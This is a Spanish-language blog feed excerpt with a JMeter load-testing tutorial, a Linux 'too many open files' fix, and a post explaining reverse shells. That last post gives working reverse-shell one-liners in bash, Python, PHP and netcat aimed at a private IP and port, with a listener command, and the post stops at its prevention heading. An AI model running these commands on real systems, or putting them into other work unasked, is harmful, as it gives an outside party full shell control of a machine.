&lt;i&gt;Nuevo grupo hilos&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqaQmywuvSMDsa7hU5QtVikGhj2YvSMmzBFk0ULQzJuLwqisYmBpX-sta1gJzADsMgt0wMnPEnx6PIW6_vlFoTGQUjVHLrrlI20Bu8S5tzYh7TDZycBaCZiKP_JxNb-VxYh22eyn3dnc-k/s1600/Numero_hilos.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;configuracion_grupo_hilos&quot; border=&quot;0&quot; data-original-height=&quot;427&quot; data-original-width=&quot;693&quot; height=&quot;197&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqaQmywuvSMDsa7hU5QtVikGhj2YvSMmzBFk0ULQzJuLwqisYmBpX-sta1gJzADsMgt0wMnPEnx6PIW6_vlFoTGQUjVHLrrlI20Bu8S5tzYh7TDZycBaCZiKP_JxNb-VxYh22eyn3dnc-k/s320/Numero_hilos.PNG&quot; title=&quot;configuracion_grupo_hilos&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;Configuración grupo hilos&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Con esto tendríamos las peticiones preparadas; lo que habría que especificar sería qué peticiones se desean realizar... Aquí tenemos diferentes opciones, pero la más común y usada sería una petición HTTP; petición en la que únicamente sería necesario especificar que sería del tipo GET y la IP y puerto de destino de dichas peticiones; habría una serie de parámetros adicionales, pero todos ellos serían completamente optativos:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje34bPFB2mAmfDR5KYwsna8ba179x9xGSR5-326oKJ-V9DG_bjt6YPfrffdUhUtKzfgxrscvdeTIHhflEDQXOUJl-82TL_wHPOVWmFnIBNErF7HzxuXQGuq3-Qb5nThIlK4scux6CCNit6/s1600/Peticiom_http.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;nueva_peticion_http&quot; border=&quot;0&quot; data-original-height=&quot;490&quot; data-original-width=&quot;1364&quot; height=&quot;114&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje34bPFB2mAmfDR5KYwsna8ba179x9xGSR5-326oKJ-V9DG_bjt6YPfrffdUhUtKzfgxrscvdeTIHhflEDQXOUJl-82TL_wHPOVWmFnIBNErF7HzxuXQGuq3-Qb5nThIlK4scux6CCNit6/s320/Peticiom_http.PNG&quot; title=&quot;nueva_peticion_http&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;Petición HTTP&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD-1f1XN7BsBxc0bmyRK_YmM4uF1BEtI9L_n_qiIgP_1D0I46J73Pk-5oEHaIQTNaRcCNOSMuQn5B52ednaJpS15hBaWMOyEF4U7t1iTX88xPgB611Ri4a2QFMLu-s5tjIb-2IB1C9b6uR/s1600/peticion_http_opciones.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;opciones_peticion_http&quot; border=&quot;0&quot; data-original-height=&quot;512&quot; data-original-width=&quot;1323&quot; height=&quot;123&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD-1f1XN7BsBxc0bmyRK_YmM4uF1BEtI9L_n_qiIgP_1D0I46J73Pk-5oEHaIQTNaRcCNOSMuQn5B52ednaJpS15hBaWMOyEF4U7t1iTX88xPgB611Ri4a2QFMLu-s5tjIb-2IB1C9b6uR/s320/peticion_http_opciones.PNG&quot; title=&quot;opciones_peticion_http&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;Opciones petición HTTP&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Por último pero no por ello menos importante, tendríamos que crear un reporte de resumen, el cual nos servirá para conocer los resultados de nuestras pruebas. El cual se encontraría dentro de: Añadir --&amp;gt; Receptor --&amp;gt; Reporte Resumen.&amp;nbsp; El resumen se puede ver en texto plano desde la propia consola, pero desde la herramienta tendríamos el resultado mostrado de forma sintetizada, lo cual nos es ventajoso.&lt;br /&gt;
&lt;br /&gt;
Ahora que tenemos todo preparado, guardaríamos el proyecto, el cual siempre es guardado en formato &lt;b&gt;.jmx&lt;/b&gt;, por ejemplo &lt;b&gt;plan_de_pruebas.jmx&lt;/b&gt;. Solamente sería necesario ejecutar dicho plan, ejecución que aunque se puede hacer desde la GUI, tal y como he comentado antes es recomendable hacerlo desde la consola. El comando para ejecutarlo sería:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;jmeter -n -t plan_de_pruebas.jmx -l Resumen.jtl&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El parámetro &lt;b&gt;-l&lt;/b&gt; seguido del fichero &lt;b&gt;jtl &lt;/b&gt;sería importante, pues estaríamos especificando donde guardar los resultados de las pruebas realizadas; pruebas que siempre se guardan en ficheros en formato .jtl, si bien se puede leer de forma &quot;normal&quot; haciendo un simple cat sobre dicho fichero.&lt;br /&gt;
&lt;br /&gt;
Gracias a dicho comando estaríamos ejecutando el plan de pruebas, que se estaría ejecutando de forma continua a menos que se pulsase la combinación de teclas CTRL + C, debido a que se trata de una prueba infinita. Esto estaría haciendo una prueba de carga &quot;infinita&quot; sobre el servidor de destino, prueba sobre la que tendríamos más control que mediante Apache Benchmark.&lt;br /&gt;
&lt;br /&gt;
El informe de salida lo podríamos leer dirigiéndonos al `Reporte resumen` antes creado y clickando en navegar para seleccionar el informe generado por nuestras pruebas; en nuestro caso Resumen.jtl... A continuación una pequeña muestra de dicho informe:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhrn-yt9xvrAtAfy4XbQNi_QTKKy6J0vFhLNlCdYnK5A4LIpWiJ69hlkshOKDWD_L3wlPKj7MqXUATsLSTg_0lTCZM6oekUE10GIxkQYTj4EfK5VMuL418h1GhtUxngcW-gnptY6hw5d5M/s1600/Reporte_resumen.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;reporte_resumen&quot; border=&quot;0&quot; data-original-height=&quot;243&quot; data-original-width=&quot;1507&quot; height=&quot;51&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhrn-yt9xvrAtAfy4XbQNi_QTKKy6J0vFhLNlCdYnK5A4LIpWiJ69hlkshOKDWD_L3wlPKj7MqXUATsLSTg_0lTCZM6oekUE10GIxkQYTj4EfK5VMuL418h1GhtUxngcW-gnptY6hw5d5M/s320/Reporte_resumen.PNG&quot; title=&quot;reporte_resumen&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;Informe Jmeter&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como se puede observar, la aplicación JMeter ofrece una amplia gama de posibilidades; estas son solo algunas de ellas, pero las mostradas serían las más &quot;comunes&quot; y usadas. Eso no implica que Apache Benchmark no sea útil; cada una ofrece una serie de características, la cuestión está en saber qué aplicación se adapta mejora nuestras necesidades, al igual que también no siempre se puede contar con una interfaz gráfica, y ahí es donde JMeter flaquea, pues dicho entorno es un requisito para la propia instalación.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/742091832103986514/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/10/pruebas-carga-web.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/742091832103986514'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/742091832103986514'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/10/pruebas-carga-web.html' title='Cómo realizar pruebas de carga en nuestro servidor Web'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0vbHY9K-tr9ut8pb__7thX4N0DBUPfNzjQzHzbVpII92RTMv_Tou6nBpkYcUYAwjyh8iFzz2YUsuOfw_9rRWxMguWUS_gjmg-MKXS9MDjX7Zn1qXQiLjVRm4GJahOwgUDQ5cMY4G0gyOF/s72-c/portada_estress.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-3041573236850249043</id><published>2019-10-21T21:03:00.003+02:00</published><updated>2019-10-21T21:03:52.112+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="Navegador"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type='text'>Cómo solucionar el error too many open files en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
En un servidor en producción de &lt;b&gt;Linux &lt;/b&gt;con bastante carga pueden ocurrir errores tipo &lt;b&gt;&quot;Too many open files&quot;&lt;/b&gt; o que los servicios no puedan abrir más sockets (ficheros) de conexión. Esto se debe a que en Linux se pueden establecer limites de ficheros abiertos simultáneamente y ésta limitación es por usuario.&amp;nbsp; Puede parecer un error raro, pero en caso de tener un servidor SQL y/o web, no es un error tan extraño, dependiendo del volumen de información tratado.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhXzRXtdg7ifCW1h0Ju_V8UbHa0rECeqhOK_qbVnKDACMSkJJQ0esKFsuR3Sueg9J0J0VjAihULxSiFJroK_9vYiY5INeRKzqQsxl3WBunPlKbamNKzKISflIXzZaMT0r7di3YpaAJVMIk/s1600/openfiles.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;toomanyopenfiles&quot; border=&quot;0&quot; data-original-height=&quot;296&quot; data-original-width=&quot;616&quot; height=&quot;153&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhXzRXtdg7ifCW1h0Ju_V8UbHa0rECeqhOK_qbVnKDACMSkJJQ0esKFsuR3Sueg9J0J0VjAihULxSiFJroK_9vYiY5INeRKzqQsxl3WBunPlKbamNKzKISflIXzZaMT0r7di3YpaAJVMIk/s320/openfiles.png&quot; title=&quot;toomanyopenfiles&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Para solucionarlo hay que cambiar la configuración en varios sitios, pero primero hay que comprobar la configuración actual:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0px; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;ulimit -n&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Esto nos indicará la cantidad máxima por usuario y sesión. El valor por defecto es &lt;b&gt;1024&lt;/b&gt;, lo que aunque en un principio, pueden parecer muchos, no siempre dan basto, especialmente cuando se trabaja con un sistema que tiene un servidor web/SQL instalado, ya que éstos trabajan con muchos ficheros temporales y los necesita mantener abiertos por cuestiones de rendimiento. Para cambiar este valor:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0px; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;ulimit -n 75000&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Este comando aplicará el cambio en términos de la sesión actual. Para hacerlo persistente tenemos que editar los límites a nivel de configuración del sistema, lo cual se realizaría en &lt;b&gt;/etc/security/limits.conf&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;root soft core unlimited
root hard core unlimited
root soft memlock &lt;span style=&quot;color: #2e2e2e;&quot;&gt;131072&lt;/span&gt;
root hard memlock &lt;span style=&quot;color: #2e2e2e;&quot;&gt;131072&lt;/span&gt;
root soft nofile &lt;span style=&quot;color: #2e2e2e;&quot;&gt;999999&lt;/span&gt;
root hard nofile &lt;span style=&quot;color: #2e2e2e;&quot;&gt;999999&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
Luego, aparte de limites por usuario y sesión, existen limites a nivel del propio sistema operativo. Para ajustarlos habría que editar el fichero &lt;b&gt;/etc/sysctl.conf&lt;/b&gt;, el cual realiza cambios a nivel de kernel,&amp;nbsp; y añadir esta línea al final:&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;fs&lt;span style=&quot;color: #575757; font-weight: bold;&quot;&gt;.&lt;/span&gt;file-max &lt;span style=&quot;color: #939393;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #2e2e2e;&quot;&gt;999999&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
Con esto ya tendríamos el cambio aplicado, para que haga efecto podemos o bien recurrir al clásico reinicio o bien ejecutar el comando:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;sysctl -p&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Con esto ya tendríamos los nuevos límites establecidos en el sistema, evadiendo así los errores del tipo too many open files.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/3041573236850249043/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/10/solucionar-error-open-files.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/3041573236850249043'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/3041573236850249043'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/10/solucionar-error-open-files.html' title='Cómo solucionar el error too many open files en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhXzRXtdg7ifCW1h0Ju_V8UbHa0rECeqhOK_qbVnKDACMSkJJQ0esKFsuR3Sueg9J0J0VjAihULxSiFJroK_9vYiY5INeRKzqQsxl3WBunPlKbamNKzKISflIXzZaMT0r7di3YpaAJVMIk/s72-c/openfiles.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-5110548532027913893</id><published>2019-10-15T07:28:00.000+02:00</published><updated>2019-10-15T07:28:01.685+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Reverse shell, una curiosa y al mismo tiempo peligrosa técnica</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Recientemente, navegando por Internet y curioseando un poco de todo, me he encontrado con una técnica que, si bien no es en absoluto reciente, sí que me parece muy curiosa de compartir. Una técnica que si bien es generalmente usada por atacantes maliciosos (generalmente en rootkits), conceptualmente me parece una técnica muy interesante, pues como con todo, se le puede sacar partido para bien; solo es cuestión de verlo desde la perspectiva de los buenos. Se trata de la creación de shells remotos, cuya técnica se llamada &lt;b&gt;Reverse Shell&lt;/b&gt;.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjveFx3ir-gC22lXnp94Y7lvG9iRTNu01Y4Bh1jEfsxWFhFduKia7StYS7O4S-TZxbieLl_Uo3yGOJBjIQ1VvcbIlAkX8Dt_O1GlFrYSHb9rM6jYbd0m88Yr_3NCGZ-eO_Y3uFGsnF4D4cE/s1600/Reverseshell.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;reverse_shell&quot; border=&quot;0&quot; data-original-height=&quot;156&quot; data-original-width=&quot;554&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjveFx3ir-gC22lXnp94Y7lvG9iRTNu01Y4Bh1jEfsxWFhFduKia7StYS7O4S-TZxbieLl_Uo3yGOJBjIQ1VvcbIlAkX8Dt_O1GlFrYSHb9rM6jYbd0m88Yr_3NCGZ-eO_Y3uFGsnF4D4cE/s320/Reverseshell.png&quot; title=&quot;reverse_shell&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como su propio nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell que se está ejecutando en estos momentos. Esto puede ser útil en equipos a los que queremos tener acceso remoto y no se pueda utilizar SSH, es cierto que es sin lugar a dudas una técnica peligrosa, y que lo ideal es usar SSH como todo el mundo,pero el hecho de saber que la técnica está allí puede resultar interesante; ya sea para nuestro propio uso o para ser conscientes de que existe dicha posibilidad.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para éste método se usan dos máquinas; una &quot;atacante&quot; que sería la que ejecutaría la shell remota, y una &quot;victima&quot;, que sería el equipo cuya shell remota deseamos obtener. En el equipo atacante el único requisito sería tener instalada la herramienta &lt;b&gt;&lt;a href=&quot;https://bytelearning.blogspot.com/2015/08/netcat-la-navaja-suiza-de-los-linuxeros.html&quot;&gt;netcat&lt;/a&gt;&lt;/b&gt;. En el de la &quot;victima&quot; en cambio no sería 100% necesario, pues habría diferentes métodos para realizar la shell remota; hay que tener en cuenta que conceptualmente lo que haríamos sería ponernos con netcat a &quot;escuchar&quot; en un puerto y desde la otra máquina, intentaríamos mediante diferentes métodos establecer una conexión con el puerto del atacante para darle el control de nuestra shell en cuestión.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hay distintos métodos para conectarnos con la otra máquina, uno por cada &quot;lenguaje&quot; mediante el que queramos comunicarnos con la otra máquina. Es importante tener en cuenta que todos los métodos requieren que haya un cierto software instalado, y que en caso de no estar instalado, no se podría utilizar dicho método de comunicación.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Primero de todo pongámonos a escuchar desde la máquina &quot;atacante&quot;; es tan sencillo como hacer:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;nc -lvp PUERTO
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Siempre es recomendable &quot;escuchar&quot; en puertos altos, ya que así sabremos que dicho puerto no está en uso; un ejemplo genérico podría ser:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nc -lvp 10000&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con esto ya estaríamos escuchando; esta acción solamente indicaría que nosotros estamos esperando en dicho puerto a que alguien establezca una conexión contra el susodicho; es en el equipo cuya shell queremos &quot;copiar&quot;, donde ejecutaríamos las conexiones. A partir de ahora, pensaremos que las conexiones se realizarán contra la IP 192.168.1.112. La conexión más estándar que funciona en casi todas las máquinas Linux, sería mediante &lt;b&gt;bash&lt;/b&gt;, ya que es prácticamente estándar en todas.:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Bash:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Lo bueno que tiene realizar está técnica es que es relativamente fácil de recordar, ya que es un simple&amp;nbsp;&lt;b&gt;bash -i &amp;gt;&lt;/b&gt;&amp;nbsp;seguido del tipo de conexión que sería&amp;nbsp;&lt;b&gt;/dev/tcp/&lt;/b&gt;&amp;nbsp;y despues la&amp;nbsp;&lt;b&gt;IP&amp;nbsp;&lt;/b&gt;del objetivo seguido de&amp;nbsp;&lt;b&gt;/puerto&lt;/b&gt;; los últimos parámetros solamente son para re-dirigir cualquier cualquier mensaje de salida a la consola.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.112/10000 0&amp;gt;&amp;amp;1&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Python:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Otro método con el que puedes realizar un reverse shell es mediante python, ya que va instalado en prácticamente todos los equipos Linux, pero tiene como pega que la sintaxis sería más complicada que en el ejemplo anterior, ya que la conexión se realizaría mediante una porción de código de python:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.1.112&quot;,10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&#39;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El lenguaje que uno puede usar para esto puede ser cualquiera; en este caso se ha usado Python porque es el que más probabilidades tiene de estar instalado en la máquina remota, pero otros lenguajes tales como Perl (relativamente común), o cualquier otro, desde C++ hasta incluso con C#.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;PHP:&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Si bien he dicho que se puede hacer un reverse shell con cualquier lenguaje, creo que es conveniente destacar PHP, ya que también lo permite aunque cueste creerlo. Aún siendo un lenguaje para servidores web, nos permite realizar un reverse shell:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;php -r &#39;$sock=fsockopen(&quot;192.168.1.112&quot;,10000);exec(&quot;/bin/bash -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&#39;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Netcat:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Por último, es interesante saber que también se puede hacer un reverse shell en el objetivo mediante netcat, al igual que hemos puesto netcat escuchando en el &quot;atacante&quot;, podemos conectarnos con el otro lado usando la misma herramienta; la única pega que tiene es que requiere estar instalada, cosa que no siempre es así.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nc -e /bin/bash 192.168.1.112 10000&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Existen otras herramientas, como &lt;b&gt;ShellReverse&lt;/b&gt;, que son algo más completas debido a que son herramientas que agrupan diferentes lenguajes, pero en este caso he preferido mostrar a nivel conceptual las posibilidades que tenemos para hacer el reversing y el concepto que hay detrás, más allá de usar una herramienta y listo.&lt;br /&gt;
&lt;br /&gt;
Lo importante es que si lo conseguimos, tendremos una terminal de shell remota que será una réplica exacta de la shell desde la que se ha ejecutado el comando, incluyendo el usuario que ha ejecutado el comando y sus permisos, lo que hace que si por ejemplo se ejecuta una reverse shell como root, el equipo atacante tendrá una terminal de root, lo que confiere control total sobre el sistema, para bien y para mal.&lt;br /&gt;
&lt;br /&gt;
En caso de haberse usado de forma voluntaria por el propio usuario, tendremos nuestro objetivo conseguido, pero en caso contrario tendremos un usuario no grato controlando remotamente nuestro equipo...&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Se puede prevenir?&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
